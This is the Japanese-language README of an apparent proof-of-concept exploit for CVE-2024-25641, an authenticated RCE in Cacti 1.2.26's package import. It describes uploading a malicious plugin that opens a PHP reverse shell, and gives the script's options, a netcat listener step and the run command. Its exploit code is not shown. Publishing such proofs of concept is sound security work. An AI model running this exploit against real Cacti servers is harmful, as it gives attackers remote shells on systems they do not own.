
CVE-2024-25641の概念実証エクスプロイト。Cacti 1.2.26のパッケージインポート機能における認証済みRCEであり、任意のPHPコード実行とリバースシェルを可能にします。
# Exploit Title: Cacti 1.2.26 - RCE (Authenticated)
# Date: 06/01/2025
# Exploit Author: D3Ext
# Vendor Homepage: https://cacti.net/
# Software Link: https://github.com/Cacti/cacti/archive/refs/tags/release/1.2.26.zip
# Version: 1.2.26
# Tested on: Kali Linux 2024
# CVE: CVE-2024-25641
このリポジトリには、Cacti 1.2.26 バージョンに影響する CVE-2024-25641 脆弱性の POC(Proof of Concept)が含まれています。この脆弱性は「Package Import」機能を通じて悪用可能であり、「Import Templates」権限を持つ認証済みユーザーが Web サーバー上で任意の PHP コードを実行できるようになります。この脆弱性は、/lib/import.php スクリプト内で定義されている import_package() 関数に存在します。このエクスプロイトは、悪意のあるプラグインがアップロードされるとトリガーされる PHP リバースシェルを使用します。
usage: exploit.py [-h] --url URL --user USER --password PASSWORD --lhost LHOST --lport LPORT [--verbose]
CVE-2024-25641 - Cacti 1.2.26 Authenticated RCE
options:
-h, --help show this help message and exit
--url URL URL of the Cacti web root
--user USER username to log in
--password PASSWORD password of the username
--lhost LHOST local host to receive the reverse shell
--lport LPORT local port to receive the reverse shell
--verbose enable verbose
netcat リスナーを起動し、その後次のようにエクスプロイトを実行します:
python3 exploit.py --url <URL> --user <username> --password <password> --lhost <local_host> --lport <local_port>

https://github.com/Cacti/cacti/security/advisories/GHSA-7cmj-g5qc-pj88
https://nvd.nist.gov/vuln/detail/CVE-2024-25641
https://vuldb.com/?id.263978
https://github.com/5ma1l/CVE-2024-25641
https://github.com/Safarchand/CVE-2024-25641
このプロジェクトは MIT ライセンスの下にあります
Copyright © 2025, D3Ext